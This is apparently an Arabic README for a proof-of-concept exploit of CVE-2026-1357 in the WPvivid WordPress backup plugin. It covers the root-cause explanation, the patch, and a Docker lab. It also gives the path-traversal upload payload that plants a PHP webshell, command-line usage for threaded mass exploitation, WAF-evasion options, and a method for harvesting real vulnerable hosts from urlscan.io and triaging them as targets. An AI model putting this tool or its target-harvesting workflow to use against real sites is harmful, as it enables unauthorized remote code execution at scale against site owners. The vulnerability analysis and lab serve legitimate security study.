
إثبات مفهوم لاستغلال CVE-2026-1357، وهو رفع ملفات تعسفي غير مصادق عليه في WPvivid Backup & Migration يؤدي إلى تنفيذ التعليمات البرمجية عن بُعد. يتضمن سكربت Python مستقلًا، وتقنيات تجاوز جدار الحماية (WAF)، ومختبرًا ضعيفًا معزولًا عبر Docker للترخيص
PoC لثغرة CVE-2026-1357 (CVSS 9.8 حرجة، CWE-434): رفع ملف تعسفي غير مصادق في إضافة WPvivid Backup & Migration لـ WordPress يؤدي إلى تنفيذ أوامر عن بُعد. تم إصلاحها في الإصدار 0.9.124 (التغيير 3448386). تم الإبلاغ عنها بواسطة Lucas Montes عبر برنامج Wordfence Bug Bounty.
███████╗ █████╗ ██╗ ██╗ ███╗ ███╗ ███████╗ ███████╗ ██████╗
██╔════╝ ██╔══██╗ ██║ ██║ ████╗ ████║ ██╔════╝ ██╔════╝ ██╔════╝
███████╗ ███████║ ███████║ ██╔████╔██║ ███████╗ █████╗ ██║
╚════██║ ██╔══██║ ██╔══██║ ██║╚██╔╝██║ ╚════██║ ██╔══╝ ██║
███████║ ██║ ██║ ██║ ██║ ██║ ╚═╝ ██║ ███████║ ███████╗ ╚██████╗
╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ╚══════╝ ╚═════╝
يُقدَّم هذا الدليل الإثباتي لأغراض البحث الأمني المصرح به، والتعليم، والاختبار الدفاعي فقط.
معالج send_to_site غير المصادق
(includes/customclass/class-wpvivid-send-to-site.php) يقوم بفك تشفير
كتلة بيانات يقدمها المهاجم ويكتب محتويات $params['data'] إلى
wp-content/wpvividbackups/<اسم يتحكم به المهاجم> — بدون
مصادقة، وبدون nonce، وبدون تنقية للمسار على name.
الحماية المقصودة هي RSA: يجب تشفير الرسالة بمفتاح جلسة عشوائي،
والذي يتم تشفيره بدوره بـ RSA باستخدام مفتاح الموقع. الخلل يكمن
في WPvivid_crypt::decrypt_message (includes/class-wpvivid-crypt.php):
$key = $rsa->decrypt($key); // يُرجع FALSE عند الفشل (كتلة مفتاح سيئة)
$rij = new Crypt_Rijndael();
$rij->setKey($key); // FALSE يُعامل كمفتاح من بايتات فارغة
return $rij->decrypt($data);
دالة Crypt_RSA::decrypt() في phpseclib تُرجع false عندما يتعذر فك تشفير
كتلة المفتاح المقدمة (مثل فشل openssl_private_decrypt())، والإضافة
لا تتوقف عند ذلك. يتم بعد ذلك تمرير false إلى Crypt_Rijndael::setKey()، حيث
strlen(false) → 0 → يتم تبطين المفتاح إلى 16 بايت فارغ (AES-128، وضع CBC،
IV فارغ). لذلك يقوم المهاجم "بتشفير" الحمولة بمفتاح فارغ يمكن التنبؤ به تمامًا — دون الحاجة
إلى معرفة مفتاح الموقع الحقيقي.
الحمولة هي JSON:
{"backup_id":"poc","name":"../../pocXXXXXXXX.php","offset":0,
"file_size":<len>,"md5":"<md5>","data":"<base64 of PHP>"}
يتم دمج name في المسار دون تنقية
(str_replace('wpvivid','wpvivid_temp', $name) يعيد كتابة
الجزء الفرعي "wpvivid" فقط)، لذا فإن ../../ يخرج من wp-content/wpvividbackups/ إلى
جذر الويب. عندما يتطابق file_size/md5، يتم إعادة تسمية الملف المؤقت إلى
الاسم الذي اختاره المهاجم → PHP يمكن الوصول إليه علنًا → تنفيذ أوامر عن بُعد.
الإصلاح (التغيير 3448386) يتوقف عند فشل خطوة RSA:
if ($key === false || empty($key)) {
return false;
}
الهدف:
wpvivid_api_token موجودًا وغير منتهي الصلاحية — يتم إنشاؤه
عندما ينقر المسؤول على Generate ضمن WPvivid → الإعدادات → Auto
Migration (شائع في المواقع التي تستخدم ميزة الترحيل)المهاجم:
script.py مستقل تمامًا: المكتبة القياسية فقط، بدون استيرادات محلية،
بدون ملفات خارجية. واجهة سطر أوامر موضعية بسيطة:
# هدف واحد
python script.py https://target.example.com
# أمر مخصص
python script.py https://target.example.com --command "uname -a"
# وضع الدفعات (رابط واحد لكل سطر) -> success.txt / failed.txt
python script.py sites.txt --threads 10
# تجاوز WAF: أسماء/قيم معاملات مشفرة بنسبة مئوية أو نص multipart
python script.py https://target.example.com --encode
python script.py https://target.example.com --multipart
# حذف الويب شيل ذاتيًا بعد الاختبار
python script.py https://target.example.com --cleanup
رموز الخروج: 0 ثغرة موجودة، 1 خلاف ذلك.
يحتوي ../lab/ على هدف ضعيف مُحاكى بـ Docker (WordPress 6.8 + WPvivid
0.9.123 من plugins/):
cd ../lab
docker compose up -d
# أكمل تثبيت WordPress على http://localhost:8090/
docker compose run --rm wpcli plugin activate wpvivid-backuprestore
docker compose cp ../CVE-2026-1357-poc/setup_token.php wp:/tmp/
docker compose exec wp php -r 'require "/var/www/html/wp-load.php"; include "/tmp/setup_token.php";'
cd ../CVE-2026-1357-poc
python script.py http://localhost:8090 --command id
مصادر تم التحقق من عملها (تم اختبارها مباشرة، بدون حاجة لحساب):
https://urlscan.io/search/#filename:wpvivid-backuprestore
~74 صفحة مفهرسة تشير إلى معرّف الإضافة؛ تصفح واجمع
أسماء المضيفين. كل نتيجة URL تبدأ بمسار الإضافة
(/wp-content/plugins/wpvivid-backuprestore/)، لذا استخراج المضيف سهل.استعلامات تم اختبارها ولا تُنتج أهدافًا (مستبعدة عمدًا):
أدلة Google/Bing (inurl: تُرجع فقط صفحات الإضافة الخاصة على wordpress.org
أو جدار حماية للروبوتات)، DuckDuckGo (نفس الشيء)، Shodan http.html: (فهارس
HTML مبتورة، صفر نتائج)، Wayback CDX wildcard (فارغ)، PublicWWW (حظر
التجميع للضيوف).
أدخل المضيفات المجمعة إلى triage (مدمج في script.py كـ --triage)،
الذي يتحقق لكل موقع:
wp-content/plugins/wpvivid-backuprestore/readme.txt →
Stable tag: 0.9.123 (فحص غير مصادق منخفض الضوضاء؛ استعلامات ?ver= في
HTML هي الخيار الاحتياطي)wpvivid_action=send_to_site&wpvivid_content=AAAA:
استجابة JSON (The key is invalid.) = wpvivid_api_token موجود؛
فارغ = لا يوجد رمز / الإضافة غير نشطة / WAF أسقط الفحصفقط المواقع التي تكون <= 0.9.123 و الرمز نشط تُكتب إلى
in-scope.txt، ثم:
python script.py sites.txt --triage --threads 10 # → in-scope.txt
python script.py in-scope.txt --threads 5
تقنيات منقولة من أداة رفع طويلة العمر من 2025 استمرت في العمل في البيئات الحقيقية (نفس المؤلف):
X-Requested-With: XMLHttpRequest،
Accept: application/json, */*;q=0.1، Referer من نفس الأصل، UA متصفحReferer من نفس الأصل--threads N) مع مهلات قصيرة لكل طلبsuccess.txt / failed.txt تُكتب في وضع الدفعات، فقط الشيلات المؤكدة
تُسجل كنجاح (مثل ملف success في الأداة الأصلية)--encode / --multipart لتغيير شكل الطلب وتجنب الكشف../lab/waf/ يضيف وكيل عكسي owasp/modsecurity-crs:apache أمام
WordPress الضعيف (WAF على :8092، الهدف الخام على :8093). السلوك
المقاس:
| الخطوة | النتيجة عبر CRS |
|---|---|
| POST الرفع (عادي) | يمر — كتلة AES + ترويسات AJAX لا تطابق أي قاعدة CRS |
POST الرفع (--encode) | يمر |
POST الرفع (--multipart) | يمر |
GET الشيل ?<p>=id / hostname / ls | يمر، الأمر يُنفذ |
GET الشيل ?<p>=id; hostname; uname -a | 403 — قواعد حقن الأوامر CRS 932xxx |
| GET عادي (علامة PWN-OK) | يمر |
الرفع المشفر غير مرئي لفحص محتوى CRS (نفس خاصية البقاء
كأداة الرفع 2025 التي تبدو كـ AJAX مسموح). السطح الوحيد لـ CRS
هو GET الأمر اللاحق، لذا الأداة الآن تستخدم --command id افتراضيًا
وتؤكد تنفيذ الأوامر عبر علامة PWN-OK في GET العادي حتى عندما يكون
GET الأمر مفلترًا بواسطة WAF (يُبلغ كـ vulnerable مع ملاحظة). أنظمة WAF على المضيف
التي توقّع على wpvivid_action=send_to_site (مثل التصحيح الافتراضي لـ Wordfence) لا تزال
تحظر الرفع نفسه على مستوى الإضافة — لا توجد حيلة في شكل الطلب تتجاوزها.